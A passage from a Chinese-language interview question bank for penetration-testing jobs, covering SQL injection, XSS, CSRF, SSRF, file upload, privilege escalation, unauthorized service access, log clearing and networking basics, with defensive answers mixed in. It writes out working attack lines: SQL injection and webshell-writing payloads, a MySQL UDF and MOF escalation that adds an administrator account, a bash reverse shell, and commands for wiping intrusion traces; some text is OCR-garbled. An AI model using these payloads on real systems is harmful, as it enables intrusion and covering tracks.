2)通过floor报错 向下取整3)+and updatexml(1, concat(0x7e,(secect @@version),0x7e),1)
4).geometrycollection()select from test where id=1 and geometrycollection((select from(selectfrom(select user())a)
b));
5).multipoint()select from test where id=1 and multipoint((select from(select from(select user())a)b));
6).polygon()select from test where id=1 and polygon((select from(select from(select user())a)b));
7).multipolygon()select from test where id=1 and multipolygon((select from(select from(select user())a)b));
8).linestring()select from test where id=1 and linestring((select from(select from(select user())a)b));
9).multilinestring()select from test where id=1 and multilinestring((select from(select from(select user())a)b));
10).exp()select from test where id=1 and exp(~(select * from(select user())a));
43、延时注⼊如何来判断?
if(ascii(substr(“hello”, 1, 1))=104, sleep(5), 1)
44、盲注和延时注⼊的共同点?
都是⼀个字符⼀个字符的判断
45、如何拿⼀个⽹站的 webshell?
上传,后台编辑模板,sql 注⼊写⽂件,命令执⾏,代码执⾏, ⼀些已经爆出的 cms漏洞,⽐如 dedecms 后台可以直接建⽴脚本⽂件,wordpress 上传插件包含脚本⽂件 zip 压缩包等
46、sql 注⼊写⽂件都有哪些函数?
select '⼀句话' into outfile '路径'select '⼀句话' into dumpfile '路径'select '<?php eval($_POST[1]) ?>' into dumpfile 'd:\wwwroot\baidu.com\nvhack.php;
47、如何防⽌ CSRF?
1)验证 referer
2)验证 token
详细:http://cnodejs.org/topic/5533dd6e9138f09b629674fd
48、owasp 漏洞都有哪些?
1)SQL 注⼊防护⽅法:
2)失效的身份认证和会话管理2)失效的身份认证和会话管理
3)跨站脚本攻击 XSS
4)直接引⽤不安全的对象
5)安全配置错误
6)敏感信息泄露
7)缺少功能级的访问控制
8)跨站请求伪造 CSRF
9)使⽤含有已知漏洞的组件
10)未验证的重定向和转发
49、SQL 注⼊防护⽅法?
1)使⽤安全的 API
2)对输⼊的特殊字符进⾏ Escape 转义处理
3)使⽤⽩名单来规范化输⼊验证⽅法
4)对客户端输⼊进⾏控制,不允许输⼊ SQL 注⼊相关的特殊字符
5)服务器端在提交数据库进⾏ SQL 查询之前,对特殊字符进⾏过滤、转义、替换、删除。
50、代码执⾏,⽂件读取,命令执⾏的函数都有哪些?
1)代码执⾏:
eval,preg_replace+/e,assert,call_user_func,call_user_func_array,create_function
2)⽂件读取:
file_get_contents(),highlight_file(),fopen(),read
file(),fread(),fgetss(), fgets(),parse_ini_file(),show_source(),file()等
3)命令执⾏:
system(), exec(), shell_exec(), passthru() ,pcntl_exec(), popen(),proc_open()
51、img 标签除了 onerror 属性外,还有其他获取管理员路径的办法吗?
src 指定⼀个远程的脚本⽂件,获取 referer
52、img 标签除了 onerror 属性外,并且 src 属性的后缀名,必须以. jpg 结尾,怎么获取管理员路径。
1)远程服务器修改 apache 配置⽂件,配置. jpg ⽂件以 php ⽅式来解析 AddType application/x-httpd-php .jpg
会以 php ⽅式来解析
53、为什么 aspx ⽊⻢权限⽐ asp ⼤?
aspx 使⽤的是. net 技术。IIS 中默认不⽀持,ASP 只是脚本语⾔⽽已。⼊侵的时候 asp 的⽊⻢⼀般是 guest 权限… APSX 的⽊⻢⼀般是 users 权限。
54、如何绕过 waf?
⼤⼩写转换法 ⼲扰字符 /*!*/ 编码 base64 unicode hex url ascll 复参数
55、如何向服务器写⼊ webshell?
各种上传漏洞
mysql具有写⼊权限,⽤sql语句写⼊shell
http put⽅法
56、渗透测试中常⻅的端⼝
a、web 类 (web 漏洞 / 敏感⽬录) 第三⽅通⽤组件漏洞 struts thinkphp jboss ganglia zabbix
80 web 80-89 web 8000-9090 web
b、数据库类 (扫描弱⼝令)
1433 MSSQL
1521 Oracle
3306 MySQL
5432 PostgreSQL
c、特殊服务类 (未授权 / 命令执⾏类 / 漏洞)
443 SSL⼼脏滴⾎873 Rsync未授权5984 CouchDB http://xxx:5984/_utils/ 6379 redis未授权7001,7002 WebLogic默认弱⼝令,反序列9200,9300 elasticsearch 参考WooYun: 多玩某服务器ElasticSearch命令执⾏漏洞11211 memcache未授权访问27017,27018 Mongodb未授权访问50000 SAP命令执⾏50070,50030 hadoop默认端⼝未授权访问
d、常⽤端⼝类 (扫描弱⼝令 / 端⼝爆破)
21 ftp
22 SSH
23 Telnet
2601,2604 zebra路由,默认密码zebra
3389 远程桌⾯
ALL、端⼝合计详情
21 ftp
22 SSH
23 Telnet
80 web
80-89 web
161 SNMP
389 LDAP
443 SSL⼼脏滴⾎以及⼀些web漏洞测试
445 SMB 512,513,514 Rexec
873 Rsync未授权
1025,111 NFS
1433 MSSQL
1521 Oracle:(iSqlPlus Port:5560,7778)
2082/2083 cpanel主机管理系统登陆 (国外⽤较多)
2222 DA虚拟主机管理系统登陆 (国外⽤较多)
2601,2604 zebra路由,默认密码zebra
3128 squid代理默认端⼝,如果没设置⼝令很可能就直接漫游内⽹了
3306 MySQL
3312/3311 kangle主机管理系统登陆
3389 远程桌⾯
4440 rundeck 参考WooYun: 借⽤新浪某服务成功漫游新浪内⽹
5432 PostgreSQL
5900 vnc
5984 CouchDB http://xxx:5984/_utils/
6082 varnish 参考WooYun: Varnish HTTP accelerator CLI 未授权访问易导致⽹站被直接篡改或者作为代理进⼊内⽹
6379 redis未授权
7001,7002 WebLogic默认弱⼝令,反序列
7778 Kloxo主机控制⾯板登录
8000-9090 都是⼀些常⻅的web端⼝,有些运维喜欢把管理后台开在这些⾮80的端⼝上
8080 tomcat/WDCP主机管理系统,默认弱⼝令
8080,8089,9090 JBOSS
8083 Vestacp主机管理系统 (国外⽤较多)
8649 ganglia
8888 amh/LuManager 主机管理系统默认端⼝
9200,9300 elasticsearch 参考WooYun: 多玩某服务器ElasticSearch命令执⾏漏洞
10000 Virtualmin/Webmin 服务器虚拟主机管理系统
11211 memcache未授权访问
27017,27018 Mongodb未授权访问
28017 mongodb统计⻚⾯
50000 SAP命令执⾏
50070,50030 hadoop默认端⼝未授权访问
三、深信服⼀⾯
了解哪些漏洞
⽂件上传有哪些防护⽅式
⽤什么扫描端⼝,⽬录
如何判断注⼊
注⼊有防护怎么办
有没有写过 tamper
3306 1443 8080 是什么端⼝
计算机⽹络从物理层到应⽤层 xxxx
有没有 web 服务开发经验
如何向服务器写⼊ webshell
有没有⽤过 xss 平台
⽹站渗透的流程
mysql 两种提权⽅式(udf,?)
常⻅加密⽅式 xxx
ddos 如何防护
有没有抓过包,会不会写 wireshark 过滤规则
清理⽇志要清理哪些
四、SQL 注⼊防护
1、使⽤安全的 API
2、对输⼊的特殊字符进⾏ Escape 转义处理
3、使⽤⽩名单来规范化输⼊验证⽅法
4、对客户端输⼊进⾏控制,不允许输⼊ SQL 注⼊相关的特殊字符
5、服务器端在提交数据库进⾏ SQL 查询之前,对特殊字符进⾏过滤、转义、替换、删除。
6、规范编码, 字符集
五、为什么参数化查询可以防⽌ SQL 注⼊
原理:
使⽤参数化查询数据库服务器不会把参数的内容当作 sql 指令的⼀部分来执⾏,是在数据库完成 sql 指令的编译后才套
⽤参数运⾏
简单的说: 参数化能防注⼊的原因在于, 语句是语句,参数是参数,参数的值并不是语句的⼀部分,数据库只按语句的语
义跑
六、SQL 头注⼊点
UAREFERERCOOKIEIP
七、盲注是什么?怎么盲注?
盲注是在 SQL 注⼊攻击过程中,服务器关闭了错误回显,我们单纯通过服务器返回内容的变化来判断是否存在 SQL 注
⼊和利⽤的⽅式。盲注的⼿段有两种,⼀个是通过⻚⾯的返回内容是否正确 (boolean-based),来验证是否存在注⼊。
⼀个是通过 sql 语句处理时间的不同来判断是否存在注⼊ (time-based),在这⾥,可以⽤ benchmark,sleep 等造成延
时效果的函数,也可以通过构造⼤笛卡⼉积的联合查询表来达到延时的⽬的。
⼋、宽字节注⼊产⽣原理以及根本原因
1、产⽣原理
在数据库使⽤了宽字符集⽽ WEB 中没考虑这个问题的情况下,在 WEB 层,由于 0XBF27 是两个字符,在 PHP 中⽐如
addslash 和 magic_quotes_gpc 开启时,由于会对 0x27 单引号进⾏转义,因此 0xbf27 会变成 0xbf5c27, ⽽数据进⼊
数据库中时,由于 0XBF5C 是⼀个另外的字符,因此 转义符号会被前⾯的 bf 带着 '吃掉',单引号由此逃逸出来可以
⽤来闭合语句。
2、在哪⾥编码
3、根本原因
character_set_client(客户端的字符集) 和 character_set_connection(连接层的字符集) 不同, 或转换函数如,iconv、
mb_convert_encoding 使⽤不当。
4、解决办法
统⼀数据库、Web 应⽤、操作系统所使⽤的字符集,避免解析产⽣差异,最好都设置为 UTF-8。或对数据进⾏正确的转
义,如 mysql_real_escape_string+mysql_set_charset 的使⽤。
5、SQL ⾥⾯只有 update 怎么利⽤
先理解这句 SQL
UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='$id'
如果此 SQL 被修改成以下形式,就实现了注⼊
a、修改 homepage 值为 http://xxx.net', userlevel='3
之后 SQL 语句变为
UPDATE user SET password='mypass', homepage='http://xxx.net', userlevel='3' WHERE id='$id'
userlevel 为⽤户级别
b、修改 password 值为 mypass)' WHERE username='admin'#
之后 SQL 语句变为
UPDATE user SET password='MD5(mypass)' WHERE username='admin'#)', homepage='$homepage' WHERE id='$id'
c、修改 id 值为 ' OR username='admin' 之后 SQL 语句变为
UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='' OR username='admin'
九、SQL 如何写 shell / 单引被过滤怎么办
写 shell: root 权限,GPC 关闭,知道⽂件路径 outfifile 函数
`http://127.0.0.1:81/sqli.php?id=1 into outfile 'C:\wamp64\www\phpinfo.php' FIELDS TERMINATED BY '<?php phpinfo
(); ?>'`
`http://127.0.0.1:81/sqli.php?id=-1 union select 1,0x3c3f70687020706870696e666f28293b203f3e,3,4 into outfile 'C:\w
amp64\www\phpinfo.php'`
宽字节注⼊
1、代替空格的⽅法
%0a、%0b、%a0 等
/**/ 等注释符
<>
2、mysql 的⽹站注⼊,5.0 以上和 5.0 以下有什么区别
5 0 以下没有 information schema 这个系统表 ⽆法列表名等 只能暴⼒跑表名。5.0 以下没有 information_schema 这个系统表,⽆法列表名等,只能暴⼒跑表名。
5.0 以下是多⽤户单操作,5.0 以上是多⽤户多操做。
⼗、XSS
1、XSS 原理
反射型
⽤户提交的数据中可以构造代码来执⾏,从⽽实现窃取⽤户信息等攻击。需要诱使⽤户 “点击” ⼀个恶意链接,才能攻击成功
存储型
存储型 XSS 会把⽤户输⼊的数据 “存储” 在服务器端。这种 XSS 具有很强的稳定性。
DOM 型
通过修改⻚⾯的 DOM 节点形成的 XSS,称之为 DOM Based XSS。
2、DOM 型和反射型的区别
反射型 XSS:通过诱导⽤户点击,我们构造好的恶意 payload 才会触发的 XSS。反射型 XSS 的检测我们在每次请求带payload 的链接时⻚⾯应该是会带有特定的畸形数据的。DOM 型:通过修改⻚⾯的 DOM 节点形成的 XSS。DOM-based XSS 由于是通过 js 代码进⾏ dom 操作产⽣的 XSS,所以在请求的响应中我们甚⾄不⼀定会得到相应的畸形数据。根本区别在我看来是输出点的不同。
3、DOM 型和 XSS ⾃动化测试或⼈⼯测试
⼈⼯测试思路:找到类似 document.write、innerHTML 赋值、outterHTML 赋值、window.location 操作、写 javascript: 后内容、eval、setTimeout 、setInterval 等直接执⾏之类的函数点。找到其变量,回溯变量来源观察是否可控,是否经
过安全函数。⾃动化测试参看道哥的博客,思路是从输⼊⼊⼿,观察变量传递的过程,最终检查是否有在危险函数输出,中途是否有经过安全函数。但是这样就需要有⼀个 javascript 解析器,否则会漏掉⼀些通过 js 执⾏带⼊的部分内容容。
在回答这段问题的时候,由于平时对客户的检测中,基本是凭借不同功能点的功能加上经验和直觉来进⾏检测,对不同类型的 XSS 检测⽅式实际上并没有太过细分的标准化检测⽅式,所以回答的很烂。。。
4、如何快速发现 XSS 位置
5、对于 XSS 怎么修补建议
输⼊点检查:对⽤户输⼊的数据进⾏合法性检查,使⽤ fifilter 过滤敏感字符或对进⾏编码转义,针对特定类型数据进⾏格
式检查。针对输⼊点的检查最好放在服务器端实现。
输出点检查:对变量输出到 HTML ⻚⾯中时,对输出内容进⾏编码转义,输出在 HTML 中时,对其进⾏HTMLEncode,如果输出在 Javascript 脚本中时,对其进⾏ JavascriptEncode。对使⽤ JavascriptEncode 的变量都放在引号中并转义危险字符,data 部分就⽆法逃逸出引号外成为 code 的⼀部分。还可以使⽤更加严格的⽅法,对所有数字字⺟之外的字符都使⽤⼗六进制编码。此外,要注意在浏览器中,HTML 的解析会优先于 Javascript 的解析,编码的⽅式也需要考虑清楚,针对不同的输出点,我们防御 XSS 的⽅法可能会不同,这点可能在之后的⽂章会做下总结。除此之外,还有做 HTTPOnly 对 Cookie 劫持做限制。
6、XSS 蠕⾍的⽣产条件
正常情况下,⼀个是产⽣ XSS 点的⻚⾯不属于 self ⻚⾯,⽤户之间产⽣交互⾏为的⻚⾯,都可能造成 XSS Worm 的产⽣。
不⼀定需要存储型 XSS
⼗⼀、CSRF
1、CSRF 原理
CSRF 是跨站请求伪造攻击,由客户端发起, 是由于没有在关键操作执⾏时进⾏是否由⽤户⾃愿发起的确认
2、防御**
验证 Referer
添加 token
3、token 和 referer 做横向对⽐,谁安全等级⾼?
token 安全等级更⾼,因为并不是任何服务器都可以取得 referer,如果从 HTTPS 跳到 HTTP,也不会发送 referer。并
且 FLASH ⼀些版本中可以⾃定义 referer。但是 token 的话,要保证其⾜够随机且不可泄露。(不可预测性原则)
4、对 referer 的验证,从什么⻆度去做?如果做,怎么杜绝问题
对 header 中的 referer 的验证,⼀个是空 referer,⼀个是 referer 过滤或者检测不完善。为了杜绝这种问题,在验证的
⽩名单中,正则规则应当写完善。
5、针对 token, 对 token 测试会注意哪⽅⾯被⼈,会对 token 的哪⽅⾯进⾏测试?
引⽤⼀段请教前辈的回答:
针对token的攻击,⼀是对它本身的攻击,重放测试⼀次性、分析加密规则、校验⽅式是否正确等,⼆是结合信息泄露漏洞对它的获取,结合着发起组合攻击
信息泄露有可能是缓存、⽇志、get,也有可能是利⽤跨站
很多跳转登录的都依赖token,有⼀个跳转漏洞加反射型跨站就可以组合成登录劫持了
另外也可以结合着其它业务来描述token的安全性及设计不好怎么被绕过⽐如抢红包业务之类的
⼗⼀、SSRF
SSRF(Server-Side Request Forgery: 服务器端请求伪造) 是⼀种由攻击者构造形成由服务端发起请求的⼀个安全漏洞。⼀般情况下,SSRF 攻击的⽬标是从外⽹⽆法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连⽽与外⽹隔离的内部系统)
SSRF 形成的原因⼤都是由于服务端提供了从其他服务器应⽤获取数据的功能且没有对⽬标地址做过滤与限制。⽐如从指
定 URL 地址获取⽹⻚⽂本内容,加载指定地址的图⽚,下载等等。
1、监测
SSRF 漏洞的验证⽅法:
1)因为 SSRF 漏洞是让服务器发送请求的安全漏洞,所以我们就可以通过抓包分析发送的请求是否是由服务器的发送
的,从⽽来判断是否存在 SSRF 漏洞
2)在⻚⾯源码中查找访问的资源地址 ,如果该资源地址类型为 www.baidu.com/xxx.php?image=(地址)的就可能存
在 SSRF 漏洞 4[1]
2、SSRF 漏洞的成因 防御 绕过
成因:模拟服务器对其他服务器资源进⾏请求,没有做合法性验证。利⽤:构造恶意内⽹ IP 做探测,或者使⽤其余所⽀
持的协议对其余服务进⾏攻击。防御:禁⽌跳转,限制协议,内外⽹限制,URL 限制。绕过:使⽤不同协议,针对 IP,
IP 格式的绕过,针对 URL,恶意 URL 增添其他字符,@之类的。301 跳转 + dns rebindding。
⼗⼆、上传
1、⽂件上传漏洞原理
由于程序员在对⽤户⽂件上传部分的控制不⾜或者处理缺陷,⽽导致⽤户可以越过其本身权限向服务器上传可执⾏的动
态脚本⽂件
2、常⻅的上传绕过⽅式
前端 js 验证:禁⽤ js/burp 改包
⼤⼩写
双重后缀名
过滤绕过 pphphp->php
3、防护
⽂件上传⽬录设置为不可执⾏
使⽤⽩名单判断⽂件上传类型
⽤随机数改写⽂件名和路径
4、审查上传点的元素有什么意义?
有些站点的上传⽂件类型的限制是在前端实现的,这时只要增加上传类型就能突破限制了。
⼗三、⽂件包含
1、原理
引⼊⼀段⽤户能控制的脚本或代码,并让服务器端执⾏ include() 等函数通过动态变量的⽅式引⼊需要包含的⽂件;⽤户能够控制该动态变量。
2、导致⽂件包含的函数
PHP:include(), include_once(), require(), re-quire_once(), fopen(), readfifile(), … JSP/Servlet:ava.io.File(),
java.io.Fil-eReader(), … ASP:include fifile, include virtual,
3、本地⽂件包含
能够打开并包含本地⽂件的漏洞,被称为本地⽂件包含漏洞
⼗四、逻辑漏扫
1、⾦融⾏业常⻅逻辑漏洞
单针对⾦融业务的 主要是数据的篡改 (涉及⾦融数据,或部分业务的判断数据),由竞争条件或者设计不当引起的薅⽺
⽑,交易 / 订单信息泄露,⽔平越权对别⼈的账户查看或恶意操作,交易或业务步骤绕过。
⼗五、中间⼈攻击
中间⼈攻击是⼀个(缺乏)相互认证的攻击;由于客户端与服务器之间在 SSL 握⼿的过程中缺乏相互认证⽽造成的漏洞
防御中间⼈攻击的⽅案通常基于⼀下⼏种技术
公钥基础建设 PKI 使⽤ PKI 相互认证机制,客户端验证服务器,服务器验证客户端;上述两个例⼦中都是只验证服务
器,这样就造成了 SSL 握⼿环节的漏洞,⽽如果使⽤相互认证的的话,基本可以更强⼒的相互认证
延迟测试
使⽤复杂加密哈希函数进⾏计算以造成数⼗秒的延迟;如果双⽅通常情况下都要花费 20 秒来计算,并且整个通讯花费了 60 秒计算才到达对⽅,这就能表明存在第三⽅中间⼈。
使⽤其他形式的密钥交换形式
ARP 欺骗
原理
每台主机都有⼀个 ARP 缓存表,缓存表中记录了 IP 地址与 MAC 地址的对应关系,⽽局域⽹数据传输依靠的是 MAC
地址。在 ARP 缓存表机制存在⼀个缺陷,就是当请求主机收到 ARP 应答包后,不会去验证⾃⼰是否向对⽅主机发送过
ARP 请求包,就直接把这个返回包中的 IP 地址与 MAC 地址的对应关系保存进 ARP 缓存表中,如果原有相同 IP 对应关
系,原有的则会被替换。这样攻击者就有了偷听主机传输的数据的可能
防护
在主机绑定⽹关 MAC 与 IP 地址为静态(默认为动态),命令:arp -s ⽹关 IP ⽹关 MAC
在⽹关绑定主机 MAC 与 IP 地址
使⽤ ARP 防⽕墙
⼗六、DDOS
1、DDOS 原理
利⽤合理的请求造成资源过载,导致服务不可⽤
syn 洪流的原理
伪造⼤量的源 IP 地址,分别向服务器端发送⼤量的 SYN 包,此时服务器端会返回 SYN/ACK 包,因为源地址是伪造的,所以伪造的 IP 并不会应答,服务器端没有收到伪造 IP 的回应,会重试 3~5 次并且等待⼀个 SYNTime(⼀般为 30 秒⾄ 2 分钟),如果超时则丢弃这个连接。攻击者⼤量发送这种伪造源地址的 SYN 请求,服务器端将会消耗⾮常多的资源(CPU 和内存)来处理这种半连接,同时还要不断地对这些 IP 进⾏ SYN+ACK 重试。最后的结果是服务器⽆暇理睬正常的连接请求,导致拒绝服务。
CC 攻击原理
对⼀些消耗资源较⼤的应⽤⻚⾯不断发起正常的请求,以达到消耗服务端资源的⽬的。
2、DOSS 防护
SYN Cookie/SYN Proxy、safereset 等算法。SYN Cookie 的主要思想是为每⼀个 IP 地址分配⼀个 “Cookie”,并统计每
个 IP 地址的访问频率。如果在短时间内收到⼤量的来⾃同⼀个 IP 地址的数据包,则认为受到攻击,之后来⾃这个 IP 地
址的包将被丢弃。
⼗七、提权
MySQL 两种提权⽅式
udf 提权, mof 提权
MySQL_UDF 提取
要求:
⽬标系统是 Windows(Win2000,XP,Win2003);
拥有 MYSQL 的某个⽤户账号,此账号必须有对 mysql 的insert 和 delete 权限以创建和抛弃函数
有 root 账号密码 导出 udf: MYSQL 5.1 以上版本,必须要把 udf.dll ⽂件放到 MYSQL 安装⽬录下的 libplugin ⽂件夹下才能创建⾃定义函数 可以再 mysql ⾥输⼊
select @@basedir
show variables
like '%plugins%’
寻找 mysql 安装路径 提权:
使⽤ SQL 语句创建功能函数。语法:Create Function 函数名(函数名只能为下⾯列表中的其中之⼀)returns string soname '导出的 DLL 路径’;
create function cmdshell returns string soname 'udf.dll’select cmdshell('net user arsch arsch /add’);select cmdshell('net localgroup administrators arsch /add’);
drop function cmdshell;
该⽬录默认是不存在的,这就需要我们使⽤ webshell 找到 MYSQL 的安装⽬录,并在安装⽬录下创建 libplugin ⽂件夹,然后将 udf.dll ⽂件导出到该⽬录即可。
MySQL mof 提权
#pragma namespace('\\\\.\\root\\subscription')
instance of __EventFilter as $EventFilter
{
EventNamespace = 'Root\\Cimv2';
Name = 'filtP2';
Query = 'Select * From __InstanceModificationEvent '
'Where TargetInstance Isa \'Win32_LocalTime\' '
'And TargetInstance.Second = 5';
QueryLanguage = 'WQL';
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = 'consPCSV2';
ScriptingEngine = 'JScript';
ScriptText =
'var WSH = new ActiveXObject(\'WScript.Shell\')\nWSH.run(\'net.exe user waitalone waitalone.cn /add\')';
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};
其中的第 18 ⾏的命令,上传前请⾃⼰更改。
2、执⾏ load_fifile 及 into dumpfifile 把⽂件导出到正确的位置即可。
select load file('c:/wmpub/nullevt.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mov'
执⾏成功后,即可添加⼀个普通⽤户,然后你可以更改命令,再上传导出执⾏把⽤户提升到管理员权限,然后 3389 连
接之就 ok 了。
⼗⼋、特殊漏洞
1、Struts2-045
2、Redis 未授权
产⽣原因
Redis 默认情况下,会绑定在 0.0.0.0:6379,这样将会将 Redis 服务暴露到公⽹上,如果在没有开启认证的情况下,可以导致任意⽤户在可以访问⽬标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下可以利⽤ Redis 的相关⽅法,可以成功在 Redis 服务器上写⼊公钥,进⽽可以使⽤对应私钥直接登录⽬标服务器
利⽤条件和⽅法
条件:
a、redis 服务以 root 账户运⾏
b、redis ⽆密码或弱密码进⾏认证c、redis 监听在 0.0.0.0 公⽹上
⽅法:
a、通过 Redis 的 INFO 命令, 可以查看服务器相关的参数和敏感信息, 为攻击者的后续渗透做铺垫
b、上传 SSH 公钥获得 SSH 登录权限
c、通过 crontab 反弹 shell
d、slave 主从模式利⽤
修复
密码验证
降权运⾏
限制 ip / 修改端⼝
3、Jenkins 未授权访问
4、MongoDB 未授权访问
攻击者通过未授权访问进⼊脚本命令执⾏界⾯执⾏攻击指令
println 'ifconfig -a'.execute().text 执⾏⼀些系统命令, 利⽤ wget 下载 webshell
开启 MongoDB 服务时不添加任何参数时, 默认是没有权限验证的, ⽽且可以远程访问数据库,登录的⽤户可以通过默认
端⼝⽆需密码对数据库进⾏增、删、改、查等任意⾼危操作。
防护
为 MongoDB 添加认证:
1)MongoDB 启动时添加–auth 参数
2) 给 MongoDB 添加⽤户:use admin #使⽤ admin 库db.addUser(“root”, “123456”) #添加⽤户名 root 密码 123456 的⽤户 db.auth(“root”,“123456”) #验证下是否添加成功,返回 1 说明成功 2、禁⽤ HTTP 和 REST 端⼝ MongoDB ⾃身带有⼀个 HTTP 服务和并⽀持 REST 接⼝。在 2.6 以后这些接⼝默认是关闭的。mongoDB 默认会使⽤默认端⼝监听 web 服务,⼀般不需要通过 web ⽅式进⾏远程管理,建议禁⽤。修改配置⽂件或在启动的时候选择–nohttpinterface 参数 nohttpinterface=false 3、限制绑定 IP 启动时加⼊参数 –bind_ip 127.0.0.1 或在 / etc/mongodb.conf ⽂件中添加以下内容:bind_ip = 127.0.0.1
5、Memcache 未授权访问
Memcached 是⼀套常⽤的 key-value 缓存系统,由于它本身没有权限控制模块,所以对公⽹开放的 Memcache 服务很容易被攻击者扫描发现,攻击者通过命令交互可直接读取 Memcached 中的敏感信息。
利⽤
a、登录机器执⾏ netstat -an |more 命令查看端⼝监听情况。回显 0.0.0.0:11211 表示在所有⽹卡进⾏监听,存在
memcached 未授权访问漏洞。
b、telnet 11211,或 nc -vv 11211,提示连接成功表示漏洞存在
漏洞加固
a、设置 memchached 只允许本地访问 b、禁⽌外⽹访问 Memcached 11211 端⼝ c、编译时加上–enable-sasl,启⽤
SASL 认证
6、FFMPEG 本地⽂件读取
原理
通过调⽤加密 API 将 payload 加密放⼊⼀个会被执⾏的段字节中。但是具体回答⼯程中我只回答道了 SSRF ⽼洞,
m3u8 头,偏移量,加密。
⼗九、安全知识
1、WEB
常⻅ WEB 开发 JAVA 框架
STRUTS,SPRING 常⻅的 java 框架漏洞 其实⾯试官问这个问题的时候我不太清楚他要问什么,我提到 struts 的 045048,java 常⻅反序列化。045 错误处理引⼊了 ognl 表达式 048 封装 action 的过程中有⼀步调⽤ getstackvalue 递归获取 ognl 表达式 反序列化 操作对象,通过⼿段引⼊。apache common 的反射机制、readobject 的重写,其实具体的 我也记不清楚。。。然后这部分就结束了
同源策略
同源策略限制不同源对当前 document 的属性内容进⾏读取或设置。不同源的区分:协议、域名、⼦域名、IP、端⼝,
以上有不同时即不同源。
Jsonp 安全攻防技术,怎么写 Jsonp 的攻击⻚⾯
涉及到 Jsonp 的安全攻防内容
JSON 劫持、Callback 可定义、JSONP 内容可定义、Content-type 不为 json。
攻击⻚⾯
JSON 劫持,跨域劫持敏感信息,⻚⾯类似于
function wooyun(v){
alert(v.username);
}
</script>
<script src='http://js.login.360.cn/?o=sso&m=info&func=wooyun'></script>
Content-type 不正确情况下,JSONP 和 Callback 内容可定义可造成 XSS。JSONP 和 FLASH 及其他的利⽤参照知道创宇的 JSONP 安全攻防技术。
2、PHP
php 中命令执⾏涉及到的函数
代码执⾏:eval()、assert()、popen()、system()、exec()、shell_exec()、
passthru(),pcntl_exec(),call_user_func_array(),create_function()⽂件读取:fifile_get_contents(),highlight_fifile(),fopen(),read fifile(),fread(),fgetss(),
fgets(),parse_ini_fifile(),show_source(),fifile() 等
命令执⾏:system(), exec(), shell_exec(), passthru() ,pcntl_exec(), popen(),proc_open()
安全模式下绕过 php 的 disable fuction
DL 函数,组件漏洞,环境变量。
PHP 弱类型
== 在进⾏⽐较的时候,会先将字符串类型转化成相同,再⽐较
如果⽐较⼀个数字和字符串或者⽐较涉及到数字内容的字符串,则字符串会被转换成数值并且⽐较按照数值来进⾏
0e 开头的字符串等于 0
3、数据库
各种数据库⽂件存放的位置
mysql:
/usr/local/mysql/data/
C:\ProgramData\MySQL\MySQL Server 5.6\Data\
oracle: $ORACLE_BASE/oradata/$ORACLE_SID/
4、系统
如何清理⽇志如何清理⽇志
meterpreter: clearev
⼊侵 Linux 服务器后需要清除哪些⽇志?
web ⽇志,如 apache 的 access.log,error.log。直接将⽇志清除过于明显, ⼀般使⽤ sed 进⾏定向清除
e.g. sed -i -e '/192.169.1.1/d’
history 命令的清除,也是对~/.bash_history 进⾏定向清除
wtmp ⽇志的清除,/var/log/wtmp
登录⽇志清除 /var/log/secure
LINUX
查看当前端⼝连接的命令有哪些?netstat 和 ss 命令的区别和优缺点
netstat -antp` `ss -l
ss 的优势在于它能够显示更多更详细的有关 TCP 和连接状态的信息,⽽且⽐ netstat 更快速更⾼效。
反弹 shell 的常⽤命令?⼀般常反弹哪⼀种 shell?为什么?
bash -i>&/dev/tcp/x.x.x.x/4444 0>&1
通过 Linux 系统的 / proc ⽬录 ,能够获取到哪些信息,这些信息可以在安全上有哪些应⽤?
ls /proc
系统信息,硬件信息,内核版本,加载的模块,进程
linux 系统中,检测哪些配置⽂件的配置项,能够提升 SSH 的安全性。
/etc/ssh/sshd___config
iptables 配置
如何⼀条命令查看⽂件内容最后⼀百⾏
tail -n 100 filename
Windows
如何加固⼀个域环境下的 Windows 桌⾯⼯作环境?请给出你的思路。
5、密码学
AES/DES 的具体⼯作步骤
RSA 算法
加密:
密⽂=明⽂ ^EmodN
RSA 加密是对明⽂的 E 次⽅后除以 N 后求余数的过程
公钥=(E,N)
解密:
明⽂=密⽂ ^DmodN 私钥=(D,N)
三个参数 n,e1,e2
n 是两个⼤质数 p,q 的积
分组密码的加密模式
如何⽣成⼀个安全的随机数?
引⽤之前⼀个学⻓的答案,可以通过⼀些物理系统⽣成随机数,如电压的波动、磁盘磁头读 / 写时的寻道时间、空中电磁波的噪声等。
SSL 握⼿过程
建⽴ TCP 连接、客户端发送 SSL 请求、服务端处理 SSL 请求、客户端发送公共密钥加密过的随机数据、服务端⽤私有
密钥解密加密后的随机数据并协商暗号、服务端跟客户端利⽤暗号⽣成加密算法跟密钥 key、之后正常通信。这部分本
来是忘了的,但是之前看 SSL Pinning 的时候好像记了张图在脑⼦⾥,挣扎半天还是没敢确定,遂放弃。。。
对称加密与⾮对称加密的不同,分别⽤在哪些⽅⾯
6、TCP/IP
TCP 三次握⼿的过程以及对应的状态转换
(1)客户端向服务器端发送⼀个 SYN 包,包含客户端使⽤的端⼝号和初始序列号 x;
(2)服务器端收到客户端发送来的 SYN 包后,向客户端发送⼀个 SYN 和 ACK 都置位的 TCP 报⽂,包含确认号 xx1
和服务器端的初始序列号 y;
(3)客户端收到服务器端返回的 SYNSACK 报⽂后,向服务器端返回⼀个确认号为 yy1、序号为 xx1 的 ACK 报⽂,⼀个标准的 TCP 连接完成。
TCP 和 UDP 协议区别
tcp ⾯向连接, udp ⾯向报⽂ tcp 对系统资源的要求多 udp 结构简单 tcp 保证数据完整性和顺序,udp 不保证
https 的建⽴过程
a、客户端发送请求到服务器端
b、服务器端返回证书和公开密钥,公开密钥作为证书的⼀部分⽽存在
c、客户端验证证书和公开密钥的有效性,如果有效,则⽣成共享密钥并使⽤公开密钥加密发送到服务器端
d、服务器端使⽤私有密钥解密数据,并使⽤收到的共享密钥加密数据,发送到客户端
e、客户端使⽤共享密钥解密数据
f SSL 加密建⽴f、SSL 加密建⽴
7、流量分析
wireshark 简单的过滤规则
过滤 ip:
过滤源 ip 地址: ip.src==1.1.1.1; , ⽬的 ip 地址: ip.dst==1.1.1.1;
过滤端⼝:
